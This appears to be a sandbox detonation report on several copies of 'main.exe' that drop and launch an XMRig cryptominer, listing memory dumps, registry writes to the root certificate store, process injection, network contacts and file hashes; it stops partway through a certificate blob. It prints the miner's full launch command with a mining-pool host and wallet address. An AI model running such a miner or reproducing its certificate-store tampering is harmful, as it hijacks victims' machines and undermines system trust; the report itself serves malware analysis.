memory/1788-19-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-20-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-21-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-23-0x0000026BA0C30000-0x0000026BA0C50000-memory.dmp

memory/1788-22-0x0000026BA0C50000-0x0000026BA0C70000-memory.dmp

memory/1788-24-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-25-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-26-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-27-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-28-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-29-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-30-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-31-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-32-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-33-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-34-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-35-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-36-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-37-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-38-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-39-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-40-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-41-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-42-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-43-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-44-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-45-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-46-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-47-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-48-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-49-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-50-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-51-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-52-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-53-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-54-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-55-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-56-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-57-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-58-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-59-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-60-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-61-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-62-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-63-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-64-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-65-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-66-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-67-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-68-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-69-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-70-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-71-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-72-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-73-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-74-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-75-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-76-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-77-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-78-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-79-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-80-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-81-0x00007FF616D00000-0x00007FF617803000-memory.dmp

memory/1788-82-0x00007FF616D00000-0x00007FF617803000-memory.dmp

Analysis: behavioral20

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:44

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1793s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2684 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
PID 2684 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

Processes

C:\Users\Admin\AppData\Local\Temp\main.exe

"C:\Users\Admin\AppData\Local\Temp\main.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 100.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 43.43.201.23.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/3600-14-0x000001A107540000-0x000001A107560000-memory.dmp

memory/3600-15-0x000001A108F40000-0x000001A108F60000-memory.dmp

memory/3600-16-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-17-0x000001A108F60000-0x000001A108F80000-memory.dmp

memory/3600-18-0x000001A108F80000-0x000001A108FA0000-memory.dmp

memory/3600-19-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-20-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-23-0x000001A108F80000-0x000001A108FA0000-memory.dmp

memory/3600-22-0x000001A108F60000-0x000001A108F80000-memory.dmp

memory/3600-21-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-24-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-25-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-26-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-27-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-28-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-29-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-30-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-31-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-32-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-33-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-34-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-35-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-36-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-37-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-38-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-39-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-40-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-41-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-42-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-43-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-44-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-45-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-46-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-47-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-48-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-49-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-50-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-51-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-52-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-53-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-54-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-55-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-56-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-57-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-58-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-59-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-60-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-61-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-62-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-63-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-64-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-65-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-66-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-67-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-68-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-69-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-70-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-71-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-72-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-73-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-74-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-75-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-76-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-77-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-78-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-79-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-80-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-81-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

memory/3600-82-0x00007FF7418D0000-0x00007FF7423D3000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:26

Platform

win10v2004-20240508-en

Max time kernel

1702s

Max time network

1715s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (2) - Copy.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (2) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (2) - Copy.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:27

Platform

win10v2004-20240611-en

Max time kernel

1795s

Max time network

1798s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e0603